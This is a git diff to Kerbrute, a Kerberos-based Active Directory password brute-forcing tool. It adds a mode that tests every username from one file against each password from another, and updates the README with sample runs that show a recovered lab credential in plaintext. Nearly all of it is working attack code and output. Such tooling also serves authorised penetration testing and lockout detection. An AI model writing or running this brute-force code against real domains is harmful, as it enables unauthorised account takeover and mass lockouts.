diff --git a/README.md b/README.md index 6bfc12d..db25ae1 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@ For more background and information, check out my Troopers 2019 talk, Fun with L ## Usage Kerbrute has three main commands: * **bruteuser** - Bruteforce a single user's password from a wordlist - * **bruteforce** - Read username:password combos from a file or stdin and test them + * **bruteforce** - Read username:password combos from a file or stdin or usernames and passwords line by line from two files and test them * **passwordspray** - Test a single password against a list of users * **userenum** - Enumerate valid domain usernames via Kerberos @@ -50,7 +50,7 @@ Usage: kerbrute [command] Available Commands: - bruteforce Bruteforce username:password combos, from a file or stdin + bruteforce Bruteforce username:password combos, from one or two files or stdin bruteuser Bruteforce a single user's password from a wordlist help Help about any command passwordspray Test a single password against a list of users @@ -138,9 +138,27 @@ Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop ``` ### Brute Force -This mode simply reads username and password combinations (in the format `username:password`) from a file or from `stdin` and tests them with Kerberos PreAuthentication. It will skip any blank lines or lines with blank usernames/passwords. This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771) +This mode simply reads username and password combinations (in the format `username:password`) from a file or from `stdin` or usernames and passwords line by line from two files and tests them with Kerberos PreAuthentication. It will skip any blank lines or lines with blank usernames/passwords. This will generate both event IDs [4768 - A Kerberos authentication ticket (TGT) was requested](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768) and [4771 - Kerberos pre-authentication failed](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4771) ``` -$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce - +$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce + + __ __ __ + / /_____ _____/ /_ _______ __/ /____ + / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ + / ,< / __/ / / /_/ / / / /_/ / /_/ __/ +/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ + +Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop + +2019/05/11 18:40:56 > Using KDC(s): +2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88 + +2019/05/11 18:40:56 > [+] VALID LOGIN: athomas@lab.ropnop.com:Password1234 +2019/05/11 18:40:56 > Done! Tested 7 logins (1 successes) in 0.114 seconds + + + +$ ./kerbrute -d lab.ropnop.com bruteforce users.txt passwords.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ diff --git a/cmd/bruteforce.go b/cmd/bruteforce.go index 89aa094..04e1826 100644 --- a/cmd/bruteforce.go +++ b/cmd/bruteforce.go @@ -13,13 +13,13 @@ import ( // bruteuserCmd represents the bruteuser command var bruteForceCmd = &cobra.Command{ - Use: "bruteforce [flags] ", - Short: "Bruteforce username:password combos, from a file or stdin", - Long: `Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack using Kerberos Pre-Authentication by requesting at TGT from the KDC. Any succesful combinations will be displayed. + Use: "bruteforce [flags] or ", + Short: "Bruteforce username:password combos, from one or two files or stdin", + Long: `Will read username and password combos from a file or stdin (format username:password) or usernames and passwords line by line from two files and perform a bruteforce attack using Kerberos Pre-Authentication by requesting at TGT from the KDC. Any succesful combinations will be displayed. If no domain controller is specified, the tool will attempt to look one up via DNS SRV records. A full domain is required. This domain will be capitalized and used as the Kerberos realm when attempting the bruteforce. WARNING: failed guesses will count against the lockout threshold`, - Args: cobra.ExactArgs(1), + Args: cobra.RangeArgs(0, 2), PreRun: setupSession, Run: bruteForceCombos, } @@ -29,7 +29,7 @@ func init() { } func bruteForceCombos(cmd *cobra.Command, args []string) { - combolist := args[0] + argscount := len(args) stopOnSuccess = false combosChan := make(chan [2]string, threads) @@ -38,18 +38,36 @@ func bruteForceCombos(cmd *cobra.Command, args []string) { var wg sync.WaitGroup wg.Add(threads) + var userfile *os.File var scanner *bufio.Scanner - if combolist != "-" { - file, err := os.Open(combolist) - if err != nil { - logger.Log.Error(err.Error()) - return - } - defer file.Close() - scanner = bufio.NewScanner(file) - } else { - scanner = bufio.NewScanner(os.Stdin) - } + switch argscount { + case 0: + scanner = bufio.NewScanner(os.Stdin) + case 1: + file, err := os.Open(args[0]) + if err != nil { + logger.Log.Error(err.Error()) + return + } + defer file.Close() + scanner = bufio.NewScanner(file) + case 2: + var err error + userfile, err = os.Open(args[0]) + if err != nil { + logger.Log.Error(err.Error()) + return + } + defer userfile.Close() + + file, err := os.Open(args[1]) + if err != nil { + logger.Log.Error(err.Error()) + return + } + defer file.Close() + scanner = bufio.NewScanner(file) + } for i := 0; i < threads; i++ { go makeBruteComboWorker(ctx, combosChan, &wg) @@ -67,17 +85,44 @@ Scan: if comboline == "" { continue } - username, password, err := util.FormatComboLine(comboline) - if err != nil { - logger.Log.Debug("[!] Skipping: %q - %v", comboline, err.Error()) - continue - } - time.Sleep(time.Duration(delay) * time.Millisecond) - combosChan <- [2]string{username, password} - } - } - close(combosChan) - wg.Wait() + if userfile != nil { + _, err := userfile.Seek(0, 0) + if err != nil { + logger.Log.Error(err.Error()) + break Scan + } + userscanner := bufio.NewScanner(userfile) + for userscanner.Scan() { + select { + case <-ctx.Done(): + break Scan + default: + userline := userscanner.Text() + if userline == "" { + continue + } + username, err := util.FormatUsername(userline) + if err != nil { + logger.Log.Debug("[!] Skipping user: %q - %v", userline, err.Error()) + continue + } + time.Sleep(time.Duration(delay) * time.Millisecond) + combosChan <- [2]string{username, comboline} + } + } + } else { + username, password, err := util.FormatComboLine(comboline) + if err != nil { + logger.Log.Debug("[!] Skipping: %q - %v", comboline, err.Error()) + continue + } + time.Sleep(time.Duration(delay) * time.Millisecond) + combosChan <- [2]string{username, password} + } + } + } + close(combosChan) + wg.Wait() finalCount := atomic.LoadInt32(&counter) finalSuccess := atomic.LoadInt32(&successes)